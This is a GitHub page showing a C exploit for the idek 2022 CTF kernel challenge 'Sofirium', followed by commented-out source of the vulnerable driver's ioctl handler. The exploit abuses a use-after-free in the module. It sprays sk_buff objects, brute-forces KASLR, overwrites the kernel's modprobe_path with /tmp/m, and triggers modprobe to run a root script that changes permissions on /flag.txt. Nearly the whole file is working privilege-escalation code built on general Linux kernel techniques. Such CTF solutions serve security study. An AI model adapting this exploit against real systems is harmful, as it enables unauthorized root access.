-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathidek2022_sofirium_exploit.c
227 lines (177 loc) · 6.47 KB
/
idek2022_sofirium_exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/shm.h>
#include <sys/socket.h>
#define module "/dev/Sofire"
#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
#define SKB_SHARED_SIZE 320
#define SKBUFF_SIZE 512 - SKB_SHARED_SIZE
#define DEV_READ 0xcafebabe
#define DEV_WRITE 0xbabecafe
#define DEV_CREATE 0xdeadbeef
#define DEV_DELETE 0X1337
#define CHUNK_SIZE 0x100
typedef struct sofirium_head{
char coin_art[0x70]; // 0x70 byte of data
struct sofirium_entry* head; // points to first entry
int total_nft; // number of entries
} sofirium_head;
typedef struct sofirium_entry{ // act as linked list with a pointer to next, 0x100 byte of data
struct sofirium_entry* next;
char nft[CHUNK_SIZE];
} sofirium_entry;
typedef struct request{ // used for ioctl
int idx;
char buffer[CHUNK_SIZE];
} request;
request req;
int fd;
// https://arttnba3.cn/2021/11/29/PWN-0X02-LINUX-KERNEL-PWN-PART-II/#0x09-sk-buff%EF%BC%9A%E5%86%85%E6%A0%B8%E4%B8%AD%E7%9A%84%E2%80%9C%E5%A4%A7%E5%AF%B9%E8%B1%A1%E8%8F%9C%E5%8D%95%E5%A0%86%E2%80%9D
int ss[NUM_SOCKETS][2];
unsigned long kbase;
int spray_skbuff(void *buf, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++)
for (int j = 0; j < NUM_SKBUFFS; j++)
write(ss[i][0], buf, size);
return 0;
}
int free_skbuff(void *buf, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++)
for (int j = 0; j < NUM_SKBUFFS; j++)
read(ss[i][1], buf, size);
return 0;
}
int create_nft(char* buffer){
memcpy(req.buffer, buffer, CHUNK_SIZE);
return ioctl(fd, DEV_CREATE, &req);
}
int delete_nft(){return ioctl(fd, DEV_DELETE, &req);}
int read_nft(int idx, char* read){
req.idx = idx;
int ret = ioctl(fd, DEV_READ, &req);
if (read != NULL) {memcpy(read, req.buffer, CHUNK_SIZE);}
return ret;
}
int write_nft(int idx, char* buffer){
req.idx = idx;
memcpy(req.buffer, buffer, CHUNK_SIZE);
return ioctl(fd, DEV_WRITE, &req);
}
int main(){
for (int i = 0; i < NUM_SOCKETS; i ++) {socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]);}
uint64_t* fake_nft = calloc(8, 24);
void* outbuf = calloc(1, 512);
char buf[CHUNK_SIZE];
fd = open(module, O_RDONLY);
if (fd < 0) {perror("Cannot Open Device Driver\n");exit(-1);}
memset(buf, 0x41, CHUNK_SIZE);
create_nft(buf);
delete_nft();
read_nft(0, buf);
for(int i = 0; i < 0x200; i++){
fake_nft[0] = 0xffffffff80000000UL + 0x200000*i ;
printf("BruteForcing Kaslr-> %p\n", fake_nft[0]);
spray_skbuff(fake_nft, SKBUFF_SIZE);
read_nft(1, buf);
free_skbuff(outbuf, SKBUFF_SIZE);
if(buf[0] != 0x41){
kbase = fake_nft[0];
break;
}
}
unsigned long modprobe_path = kbase + 0x1851400;
printf("Kbase: 0x%llx\n", kbase);
fake_nft[0] = modprobe_path - 8;
spray_skbuff(fake_nft, SKBUFF_SIZE);
strcpy(buf, "/tmp/m");
write_nft(1, buf);
system("echo -ne '#!/bin/sh\nchmod 777 /flag.txt' > /tmp/m");
system("chmod +x /tmp/m");
socket(AF_INET,SOCK_STREAM,132); // trigger modprobe
return 0;
}
/*
switch (cmd) {
// It traverses the linked list and frees every instance but doesn't nullify anything and the pointer to head is still available.
case DEV_DELETE:
debug_print(KERN_INFO "Deleting Blockchain: Sofirium is Bad");
next = head->head;
total_nft= head->total_nft;
kfree(head);
for (int i = 0; i < total_nft; i ++){
debug_print(KERN_INFO "Freeing Buffer 0x%px\nNEXT: 0x%px", tmp, next->next);
tmp = next;
next = next->next;
kfree(tmp);
}
return 1;
case DEV_CREATE:
// First use only, allocates the head struct, copies coin_art and total_nft is set to 0
if (head == NULL){
head = kmalloc(sizeof(sofirium_head), GFP_KERNEL);
head->total_nft = 0;
strlcpy(head->coin_art, sofirium_art, sizeof(head->coin_art));
printk(KERN_INFO "%s", head->coin_art);
head->head = NULL;
debug_print(KERN_INFO "Head NULL, Creating sofirium_head at 0x%px", head);
}
// A new NFT is created and data is set to head->head pointer
if (head->total_nft == 0){
new = kmalloc(sizeof(sofirium_entry), GFP_KERNEL);
new->next = NULL;
memcpy(new->nft, req.buffer, CHUNK_SIZE);
head->head = new;
head->total_nft = 1;
} else {
target = head->head;
// Traverses the linked list until the end
for (int i=1; i < head->total_nft; i++){
target = target->next;
}
// The next pointer of the last NFT is set to the newly allocated NFT.
new = kmalloc(sizeof(sofirium_entry), GFP_KERNEL);
new->next = NULL;
memcpy(new->nft, req.buffer, CHUNK_SIZE);
target->next = new;
head->total_nft ++;
}
debug_print(KERN_INFO "NEW NFT: %s @ 0x%px \n",new->nft, new);
return head->total_nft;
case DEV_READ:
// Traverses the linked list until find the element with request index, then copie to user
target = head->head;
for (int i=0; i < req.idx; i++){
debug_print(KERN_INFO "Walked over entry 0x%px", target->next);
target = target->next;
};
debug_print(KERN_INFO "Copy to user %s @ 0x%px", target->nft, target->nft);
if(copy_to_user((void*)arg+offsetof(struct request, buffer),target->nft, sizeof(target->nft))){
printk(KERN_INFO "Copy to user failed, exiting");
return -EFAULT;
}
return 0;
case DEV_WRITE:
// Works like DEV_READ but user writes into the linked list
target = head->head;
for (int i=0; i < req.idx; i++){
debug_print(KERN_INFO "Walked over entry %px", target->next);
target = target->next;
};
if(copy_from_user(target->nft, (void*)arg+offsetof(struct request, buffer),sizeof(target->nft))){
printk(KERN_INFO "Copy from user failed exiting");
return -EFAULT;
}
debug_print(KERN_INFO "Copy from user %s to 0x%px", target->nft, target->nft);
return 0;
default:
return 0xffff;
}
*/